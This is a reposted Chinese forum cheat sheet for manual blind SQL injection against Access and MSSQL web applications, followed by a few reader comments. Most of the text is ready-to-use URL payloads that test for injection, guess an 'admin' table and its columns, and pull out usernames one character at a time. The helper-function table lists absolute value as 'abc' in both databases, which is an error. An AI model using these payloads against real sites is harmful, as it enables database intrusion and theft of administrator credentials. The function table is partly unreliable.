[转载]手工检测可否注入
文章出处:[url]http://blog.powers.com.cn/forum_posts.asp?TID=333&PN=4[/url]文章作者:yjd
□ 检测可否注入
============================================================ ==================
[url]http://url/xx?id=1111[/url] and 1=1 (正常页面)
[url]http://url/xx?id=1111[/url] and 1=2 (出错页面)
============================================================ ==================
□ 检测表段的
============================================================ ==================
[url]http://url/xx?id=1111[/url] and exists (select * from admin)
============================================================ ==================
□ 检测字段的
============================================================ ==================
[url]http://url/xx?id=1111[/url] and exists (select username from admin)
============================================================ ==================
□ 检测ID
============================================================ ==================
[url]http://url/xx?id=1111[/url] and exists (select id from admin where ID=1)
============================================================ ==================
□ 检测长度的
============================================================ ==================
[url]http://url/xx?id=1111[/url] and exists (select id from admin where len(username)=5 and ID=1)
============================================================ ==================
□ 检测长度的
============================================================ ==================
[url]http://url/xx?id=1111[/url] and exists (select id from admin where len(username)=5 and ID=1)
============================================================ ==================
□ 检测是否为MSSQL数据库
============================================================ ==================
[url]http://url/xx?id=1111[/url] and exists (select * from sysobjects)
============================================================ ==================
□ 检测是否为英文
============================================================ ==================
(ACCESS数据库)
[url]http://url/xx?id=1111[/url] and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)
(MSSQL数据库)
[url]http://url/xx?id=1111[/url] and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)
============================================================ ==================
□ 检测英文的范围
============================================================ ==================
(ACCESS数据库)
[url]http://url/xx?id=1111[/url] and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)
(MSSQL数据库)
[url]http://url/xx?id=1111[/url] and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)
============================================================ ==================
□ 检测那个字符
============================================================ ==================
(ACCESS数据库)
[url]http://url/xx?id=1111[/url] and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)
(MSSQL数据库)
[url]http://url/xx?id=1111[/url] and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)
============================================================ ===================
常用函数
============================================================ ===================
Access：asc(字符) SQLServer：unicode(字符)
作用：返回某字符的ASCII码
Access：chr(数字) SQLServer：nchar(数字)
作用：与asc相反，根据ASCII码返回字符
Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)
作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串
Access：abc(数字) SQLServer：abc (数字)
作用：返回数字的绝对值（在猜解汉字的时候会用到）
Access：A between B And C SQLServer：A between B And C
作用：判断A是否界于B与C之间 我感觉也不是什么牛人，只要是别人写出来的命令，常用，记住就可以了。
能自己想出独特的命令进行入侵，那样才算牛人，因为我感觉牛人是不断的尝试进步、和突破的 现在用这个方法,太慢了.
不过我们要了解注入的原理就可以了. 好啊，一直想搞懂那些个注入工具，，现在还知道些了。。呵呵！
页:
[1]